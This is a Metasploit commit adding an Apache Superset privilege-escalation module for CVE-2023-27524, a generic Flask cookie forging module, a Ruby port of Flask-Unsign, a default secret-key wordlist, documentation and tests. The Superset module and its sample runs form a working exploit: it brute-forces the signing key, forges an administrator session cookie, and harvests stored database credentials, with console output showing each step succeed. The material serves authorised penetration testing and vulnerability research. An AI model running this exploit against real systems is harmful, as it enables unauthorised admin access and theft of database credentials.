Land #18180, Flask unsign library, related modules

Apache Supserset Priv Esc (CVE-2023-27524) and Flask unsign Library
This commit is contained in:
Spencer McIntyre 2023-09-12 19:02:30 -04:00
commit 28c4902f4a
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987
9 changed files with 32387 additions and 0 deletions

View File

@ -49,6 +49,11 @@ Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: data/wordlists/flask_secret_keys.txt
Source: https://github.com/Paradoxis/Flask-Unsign-Wordlist/blob/v2023.34/flask_unsign_wordlist/wordlists/github.txt
Copyright: Copyright (c) 2023 Luke Paris (Paradoxis)
License: MIT
Files: external/source/byakugan/*
Copyright: Lurene Grenier, 2009
License: BSD-3-clause

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,5 @@
\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
thisISaSECRET_1234
YOUR_OWN_RANDOM_GENERATED_SECRET_KEY
TEST_NON_DEV_SECRET

View File

@ -0,0 +1,99 @@
## Vulnerable Application
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
credentials saved in Apache Superset.
## App Install
```
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
sudo docker exec -it superset superset fab create-admin \
--username admin \
--firstname Superset \
--lastname Admin \
--email admin@superset.com \
--password admin
sudo docker exec -it superset superset db upgrade
sudo docker exec -it superset superset init
```
Login to the app, click 'list users' under 'Settings', then click '+'. make a new user with 'Public' as the role.
If you want any database credentials to be pulled, you'll need to configure a database as well.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/apache_superset_priv_esc`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get an admin cookie and the database credentials
## Options
### USERNAME
The username to authenticate as. Required with no default.
### PASSWORD
The password for the specified username. Required with no default.
### ADMIN_ID
The ID of an admin account. Defaults to `1`
### SECRET_KEYS_FILE
A file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/superset_secret_keys.txt`
## Scenarios
### Superset 2.0.0 Docker image
```
msf6 > use auxiliary/gather/apache_superset_cookie_sig_priv_esc
msf6 auxiliary(gather/apache_superset_priv_esc) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(gather/apache_superset_priv_esc) > set username user
username => user
msf6 auxiliary(gather/apache_superset_priv_esc) > set password user
password => user
msf6 auxiliary(gather/apache_superset_priv_esc) > set verbose true
verbose => true
msf6 auxiliary(gather/apache_superset_priv_esc) > run
[*] Running module against 127.0.0.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache Supset 2.0.0 is vulnerable
[*] 127.0.0.1:8088 - CSRF Token: IjkzNDBmZmI4ZDc4M2I4NWNiYzlmNWQwOGM4NTcwZDUzZGVhZDMwZjEi.ZP8uyQ.iBpplhnMpXOZnjiV1Xh_reR_uLw
[*] 127.0.0.1:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiOTM0MGZmYjhkNzgzYjg1Y2JjOWY1ZDA4Yzg1NzBkNTNkZWFkMzBmMSIsImxvY2FsZSI6ImVuIn0.ZP8uyQ.jHXs3u8dqoBUWeL1vjUTxXOWLAo;
[*] 127.0.0.1:8088 - Decoded Cookie: {"csrf_token"=>"9340ffb8d783b85cbc9f5d08c8570d53dead30f1", "locale"=>"en"}
[*] 127.0.0.1:8088 - Attempting login
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwNjUEKwyAQRa8isw7FYiXGG3TXfQhhojMmdDCgoaWE3L2uHnx4_50ws2BdqYIfT1BHA3yx5C0n6OCZPyhbVLKnLd_USwgrqaP8FCZsC0zX1LWLQnUFzyiVOgi18Hzsb8rgYTAPzby42DuzOBuWMLCN2gVnex2tiYTRaL63mOwBhZrTxOsPSKAxLA.ZP8uyQ.UvNg89u5vOnyFiip1diP8ABrDCY;
.eJwNjUEKwyAQRa8isw7FYiXGG3TXfQhhojMmdDCgoaWE3L2uHnx4_50ws2BdqYIfT1BHA3yx5C0n6OCZPyhbVLKnLd_USwgrqaP8FCZsC0zX1LWLQnUFzyiVOgi18Hzsb8rgYTAPzby42DuzOBuWMLCN2gVnex2tiYTRaL63mOwBhZrTxOsPSKAxLA.ZP8uyQ.UvNg89u5vOnyFiip1diP8ABrDCY
[*] 127.0.0.1:8088 - Checking secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[-] 127.0.0.1:8088 - Incorrect Secret Key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[*] 127.0.0.1:8088 - Checking secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - Modified cookie: {"_flashes"=>[{" t"=>["warning", "Invalid login. Please try again."]}], "_fresh"=>false, "csrf_token"=>"9340ffb8d783b85cbc9f5d08c8570d53dead30f1", "locale"=>"en", "user_id"=>1}
[*] 127.0.0.1:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - New signed cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkludmFsaWQgbG9naW4uIFBsZWFzZSB0cnkgYWdhaW4uIl19XSwiX2ZyZXNoIjpmYWxzZSwiY3NyZl90b2tlbiI6IjkzNDBmZmI4ZDc4M2I4NWNiYzlmNWQwOGM4NTcwZDUzZGVhZDMwZjEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZP8uyQ.7Rgp9a7iPK-m7NQRbWpixG62CMo
[+] 127.0.0.1:8088 - Cookie validated to user: admin
[+] Found Super Secret DB: postgresql://dbuser:mysecretpassword@1.1.1.1:15432/supersetdb
[*] Done enumerating databases
[*] Auxiliary module execution completed
msf6 auxiliary(gather/apache_superset_priv_esc) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
111.222.3.444 111.222.3.444 3306/tcp (mysql) root my-secret-pw Password
```

View File

@ -0,0 +1,120 @@
## Vulnerable Application
This is a generic module which can manipulate Python Flask-based application cookies.
The Retrieve action will connect to a web server, grab the cookie, and decode it.
The Resign action will do the same as above, but after decoding it, it will replace
the contents with that in NEWCOOKIECONTENT, then sign the cookie with SECRET. This
cookie can then be used in a browser. This is a Ruby based implementation of some
of the features in the Python project Flask-Unsign.
### Example Application
Apache Superset can be used since it is based on Flask.
```
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
sudo docker exec -it superset superset fab create-admin \
--username admin \
--firstname Superset \
--lastname Admin \
--email admin@superset.com \
--password admin
sudo docker exec -it superset superset db upgrade
sudo docker exec -it superset superset init
```
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/python_flask_cookie_signer`
1. Do: `set rhosts [IP]`
1. Do: `run`
1. You should get a decoded cookie
## Actions
### Retrieve
Retrieve a cookie from an HTTP(s) server
### FindSecret
Using the provided wordlist, find the secret key used to sign the cookie
### Resign
Resign the specified cookie data
## Options
### TARGETURI
The URI which gives a cookie. Redirects are NOT followed.
### NEWCOOKIECONTENT
When action is set to `Resign`, the content of the decoded cookie will be replaced with this content.
### SECRET
When action is set to `Resign`, the cookie is signed with this secret.
### SECRET_KEYS_FILE
When action is set to `FindSecret`, a file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/flask_secret_keys.txt`
## Scenarios
### Apache Superset 2.0.0
#### Grab the cookie to make sure its a valid cookie that can be decoded. (Retrieve)
```
msf6 > use auxiliary/gather/python_flask_cookie_signer
msf6 auxiliary(gather/python_flask_cookie_signer) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 auxiliary(gather/python_flask_cookie_signer) > set RPORT 8088
RPORT => 8088
msf6 auxiliary(gather/python_flask_cookie_signer) > set TARGETURI /login
TARGETURI => /login
msf6 auxiliary(gather/python_flask_cookie_signer) > run
[*] Running module against 192.168.159.128
[*] 192.168.159.128:8088 - Retrieving Cookie
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiZDU2N2U1ZDJmYmU1NDIyOTRlMzFhODU5YWFiMjQ5MTcwMDcyNTNhMyIsImxvY2FsZSI6ImVuIn0.ZPoc7Q.y_slNhIvS7PDX1gKMYpBS1nW0L0
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"d567e5d2fbe542294e31a859aab24917007253a3", "locale"=>"en"}
[*] Auxiliary module execution completed
```
#### Determine the secret key (FindSecret)
```
msf6 auxiliary(gather/python_flask_cookie_signer) > set action FindSecret
action => findsecret
msf6 auxiliary(gather/python_flask_cookie_signer) > run
[*] Running module against 127.0.0.1
[*] 127.0.0.1:8088 - Retrieving Cookie
[*] 127.0.0.1:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiZjNlMjU1MzBkZWNkYjE4YzRkYWMxMTQzODgyYjg1ODlmMWM3YzFjYyIsImxvY2FsZSI6ImVuIn0.ZP9b0w.PjZZJJ1lSiUQPacotJV0zbxX3fU
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] Auxiliary module execution completed
```
#### Sign a new cookie (Resign)
```
msf6 auxiliary(gather/python_flask_cookie_signer) > set NEWCOOKIECONTENT '{"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}'
NEWCOOKIECONTENT => {"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"}
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
SECRET => CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
msf6 auxiliary(gather/python_flask_cookie_signer) > set ACTION Resign
ACTION => Resign
msf6 auxiliary(gather/python_flask_cookie_signer) > run
[*] Running module against 192.168.159.128
[*] Attempting to sign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[+] 192.168.159.128:8088 - New signed cookie: session=IntcImNzcmZfdG9rZW5cIj0-XCIwOGU1MWRkMWYzNTJkNjc5MGU2YWI5Yjk5ZGFkZDYyMTYwMmI5MTg5XCIsIFwibG9jYWxlXCI9PlwiZnJcIn0i.ZPodFA.4hA6OiYpdxAUoOsA9L7DMTVOZkI
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) >
```

View File

@ -0,0 +1,99 @@
require 'base64'
require 'json'
require 'openssl'
require 'zlib'
module Msf
class Exploit
class Remote
module HTTP
module FlaskUnsign
# This module is a ruby implementation of https://github.com/Paradoxis/Flask-Unsign which can be used to
# decode, and re-sign cookies
def self.base64_encode(value)
Base64.urlsafe_encode64(value).gsub(/=+$/, '')
end
class URLSafeSigner
DEFAULT_SEPARATOR = '.'
def initialize(secret_key, salt, separator: DEFAULT_SEPARATOR)
@secret_key = secret_key
@salt = salt
@separator = separator
end
def derive_key
hmac = OpenSSL::HMAC.new(@secret_key, OpenSSL::Digest.new('SHA1'))
hmac.update(@salt)
hmac.digest
end
def get_signature(value)
hmac = OpenSSL::HMAC.new(derive_key, OpenSSL::Digest.new('SHA1'))
hmac.update(value)
FlaskUnsign.base64_encode(hmac.digest)
end
end
class URLSafeTimedSigner < URLSafeSigner
def get_timestamp
Time.now.to_f
end
def timestamp_to_datetime(ts)
Time.at(ts)
end
def sign(value)
timestamp = [get_timestamp].pack('Q>')
timestamp.delete_prefix!("\x00".b) while timestamp.start_with?("\x00".b)
timestamp = FlaskUnsign.base64_encode(timestamp)
value = value + @separator + timestamp
value + @separator + get_signature(value)
end
def valid?(value)
value, _, signature = value.rpartition(@separator)
value, _, timestamp = value.rpartition(@separator)
signature == get_signature(value + @separator + timestamp)
end
end
# This emulates the default cookie-based session storage used by the latest version of Flask as of the time of
# this writing (2023-09-07).
# See: https://github.com/pallets/flask/blob/8037487165a196015a646de25cbce6d0351c8fc4/src/flask/sessions.py#L276
module Session
DEFAULT_SALT = 'cookie-session'
def self.decode(value)
parse(value)[:deserialized]
end
def self.parse(value)
compressed = value.start_with?('.')
value = value[1..] if compressed
serialized, signature = value.split('.', 3)
value = Base64.urlsafe_decode64(serialized)
value = Zlib::Inflate.inflate(value) if compressed
{ compressed: compressed, signature: signature, deserialized: JSON.parse(value), serialized: serialized }
end
def self.sign(value, secret, salt: DEFAULT_SALT)
json = JSON.dump(value)
signer = URLSafeTimedSigner.new(secret, salt)
signer.sign(FlaskUnsign.base64_encode(json).strip)
end
def self.valid?(value, secret, salt: DEFAULT_SALT)
signer = URLSafeTimedSigner.new(secret, salt)
signer.valid?(value)
end
end
end
end
end
end
end

View File

@ -0,0 +1,198 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Superset Signed Cookie Priv Esc',
'Description' => %q{
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
credentials saved in Apache Superset.
},
'Author' => [
'h00die', # MSF module
'paradoxis', # original flask-unsign tool
'Spencer McIntyre', # MSF flask-unsign library
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery
],
'References' => [
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],
['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],
['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],
['EDB', '51447'],
['CVE', '2023-27524' ],
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2023-04-25'
)
)
register_options(
[
Opt::RPORT(8088),
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),
OptPath.new('SECRET_KEYS_FILE', [
false, 'File containing secret keys to try, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')
]),
]
)
end
def check
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'login')
})
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'
unless res.body =~ /&#34;version_string&#34;: &#34;([\d.]+)&#34;/
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")
end
version = Rex::Version.new(Regexp.last_match(1))
if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')
Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")
else
Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")
end
end
def get_secret_key(cookie)
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
secret = secret.strip
vprint_status("#{peer} - Checking secret key: #{secret}")
unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
vprint_bad("#{peer} - Incorrect secret key: #{secret}")
next
end
print_good("#{peer} - Found secret key: #{secret}")
return secret
end
nil
end
def validate_cookie(decoded_cookie, secret_key)
print_status("#{peer} - Attempting to resign with key: #{secret_key}")
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)
print_status("#{peer} - New signed cookie: #{encoded_cookie}")
cookie_jar.clear
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),
'cookie' => "session=#{encoded_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401
print_bad("#{peer} - Cookie not accepted")
return nil
end
data = res.get_json_document
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")
return encoded_cookie
end
def run
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/
csrf_token = Regexp.last_match(1)
vprint_status("#{peer} - CSRF Token: #{csrf_token}")
cookie = res.get_cookies.to_s
print_status("#{peer} - Initial Cookie: #{cookie}")
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', ''))
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")
print_status("#{peer} - Attempting login")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login', '/'),
'keep_cookies' => true,
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'csrf_token' => csrf_token
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'
cookie = res.get_cookies.to_s
print_good("#{peer} - Logged in Cookie: #{cookie}")
# get the cookie value and strip off anything else
cookie = cookie.split('=')[1].gsub(';', '')
secret_key = get_secret_key(cookie)
fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
decoded_cookie['user_id'] = datastore['ADMIN_ID']
print_status("#{peer} - Modified cookie: #{decoded_cookie}")
admin_cookie = validate_cookie(decoded_cookie, secret_key)
fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if admin_cookie.nil?
(1..101).each do |i|
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', i),
'cookie' => "session=#{admin_cookie};",
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 401 || res.code == 404
print_status('Done enumerating databases')
break
end
result_json = res.get_json_document
db_display_name = result_json['result']['database_name']
db_name = result_json['result']['parameters']['database']
db_type = result_json['result']['backend']
db_host = result_json['result']['parameters']['host']
db_port = result_json['result']['parameters']['port']
db_pass = result_json['result']['parameters']['password']
db_user = result_json['result']['parameters']['username']
if framework.db.active
create_credential_and_login({
address: db_host,
port: db_port,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
service_name: db_type,
username: db_user,
private_type: :password,
private_data: db_pass,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED
})
end
print_good("Found #{db_display_name}: #{db_type}://#{db_user}:#{db_pass}@#{db_host}:#{db_port}/#{db_name}")
end
end
end

View File

@ -0,0 +1,150 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Python Flask Cookie Signer',
'Description' => %q{
This is a generic module which can manipulate Python Flask-based application cookies.
The Retrieve action will connect to a web server, grab the cookie, and decode it.
The Resign action will do the same as above, but after decoding it, it will replace
the contents with that in NEWCOOKIECONTENT, then sign the cookie with SECRET. This
cookie can then be used in a browser. This is a Ruby based implementation of some
of the features in the Python project Flask-Unsign.
},
'Author' => [
'h00die', # MSF module
'paradoxis', # original flask-unsign tool
'Spencer McIntyre', # MSF flask-unsign library
],
'References' => [
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
},
'Actions' => [
['Retrieve', { 'Description' => 'Retrieve a cookie from an HTTP(s) server' }],
['FindSecret', { 'Description' => 'Brute force the secret key used to sign the cookie' }],
['Resign', { 'Description' => 'Resign the specified cookie data' }]
],
'DefaultAction' => 'Retrieve',
'DisclosureDate' => '2019-01-26' # first commit by @Paradoxis to the Flask-Unsign repo
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'URI to browse', '/']),
OptString.new('NEWCOOKIECONTENT', [ false, 'Content of a cookie to sign', ''], conditions: %w[ACTION == Resign]),
OptString.new('SECRET', [ true, 'The key with which to sign the cookie', '']),
OptPath.new('SECRET_KEYS_FILE', [
false, 'File containing secret keys to try, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'flask_secret_keys.txt')
], conditions: %w[ACTION == FindSecret]),
]
)
register_advanced_options(
[
OptString.new('CookieName', [ true, 'The name of the session cookie', 'session' ]),
OptString.new('Salt', [ true, 'The salt to use for key derivation', Msf::Exploit::Remote::HTTP::FlaskUnsign::Session::DEFAULT_SALT ])
]
)
end
def action_find_secret
print_status("#{peer} - Retrieving Cookie")
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie
print_status("#{peer} - Initial Cookie: #{cookie}")
# get the cookie value and strip off anything else
cookie = cookie.split('=')[1].gsub(';', '')
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|
secret = secret.strip
vprint_status("#{peer} - Checking secret key: #{secret}")
unescaped_secret = unescape_string(secret)
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)
vprint_bad("#{peer} - Incorrect secret key: #{secret}")
next
end
print_good("#{peer} - Found secret key: #{secret}")
return secret
end
nil
end
def action_retrieve
print_status("#{peer} - Retrieving Cookie")
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200
cookie = cookie_jar.cookies.find { |c| c.name == datastore['CookieName'] }&.cookie_value
fail_with(Failure::UnexpectedReply, "#{peer} - Response is missing the session cookie") unless cookie
print_status("#{peer} - Initial Cookie: #{cookie}")
cookie = cookie.split('=')[1].gsub(';', '')
begin
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)
rescue StandardError => e
print_error("Failed to decode the cookie: #{e.class} #{e}")
return
end
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")
# use dehex to allow \x style escape sequences for unprintable chars
secret = unescape_string(datastore['SECRET'])
salt = unescape_string(datastore['Salt'])
if Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, secret, salt: salt)
print_good("#{peer} - Secret key #{secret.inspect} is correct.")
elsif datastore['SECRET'].present?
print_warning("#{peer} - Secret key #{secret.inspect} is incorrect.")
end
end
def run
case action.name
when 'Retrieve'
action_retrieve
when 'FindSecret'
action_find_secret
when 'Resign'
print_status("Attempting to sign with key: #{datastore['SECRET']}")
secret = Rex::Text.dehex(datastore['SECRET'])
salt = Rex::Text.dehex(datastore['Salt'])
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(datastore['NEWCOOKIECONTENT'], secret, salt: salt)
print_good("#{peer} - New signed cookie: #{datastore['CookieName']}=#{encoded_cookie}")
end
end
def unescape_string(string)
Rex::Text.dehex(string.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))
end
end

View File

@ -0,0 +1,40 @@
require 'spec_helper'
RSpec.describe Msf::Exploit::Remote::HTTP::FlaskUnsign::Session do
let(:secret) { 'CHANGEME' }
describe '.decode' do
it 'returns a hash' do
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode('eyJoZWxsbyI6IndvcmxkIn0.XDtqeQ.1qsBdjyRJLokwRzJdzXMVCSyRTA')).to eql({ 'hello' => 'world' })
end
# derived from logged in session from Apache Supserset
it 'returns a hash from complex dict' do
expected = {
"_fresh" => true,
"_id" => "8d59ff5d8869fbb273c1a32f29cd1e58941794de1bfbc172b5bc4050a2d0d2e14bbc68eb66c84de2fbd902930feb61daf05ae9b6f8b4748187c87713a114ff9f",
"csrf_token" => "29c40f8f619b57b08b3e64bca1f76be68e8391c1",
"locale" => "en",
"user_id" => "1"
}
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode('.eJwlj0GKAzEMBP-i8xwsW7alfGawZIkNGTYwk5yW_D2GvTZdVPcf7HH69QO31_n2Dfb7hBvwrBJRJ3OTUM29GI6SI4tN9MpC2IWmo4Ya9qxVjVJNI880syOpWmPX1oxXLYdOSVlKipXhHJHqcNEWrNSJkbtx71gGIkVIwAZ2nbG_ng__XXuWl1JwNBStXRNr8UZqA6M39aXiImi4uONp4_DFLHCD9-Xn_yWEzxfWdkQs.ZKXFig.tOBl4_CxT7zWg3EaZZNce7NP4rc')).to eql(expected)
end
end
describe '.sign' do
it 'returns a cookie string' do
@freezed_time = Time.utc(2023, 7, 10, 12, 0, 0)
allow(Time).to receive(:now).and_return(@freezed_time)
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign({ 'hello' => 'world' }, secret)).to eql('eyJoZWxsbyI6IndvcmxkIn0.ZKvywA.s78heXzx4hJKO55wwu5X7RiS164')
end
end
describe '.valid?' do
it 'verifies a signed cookie' do
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?('eyJoZWxsbyI6IndvcmxkIn0.ZKvywA.s78heXzx4hJKO55wwu5X7RiS164', secret)).to be true
end
it 'does not verify an invalid signed cookie' do
expect(Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?('eyJoZWxsbyI6IndvcmxkIn0.ZKvywA.s78heXzx4hJKO55wwu5X7RiS163', secret)).to be false
end
end
end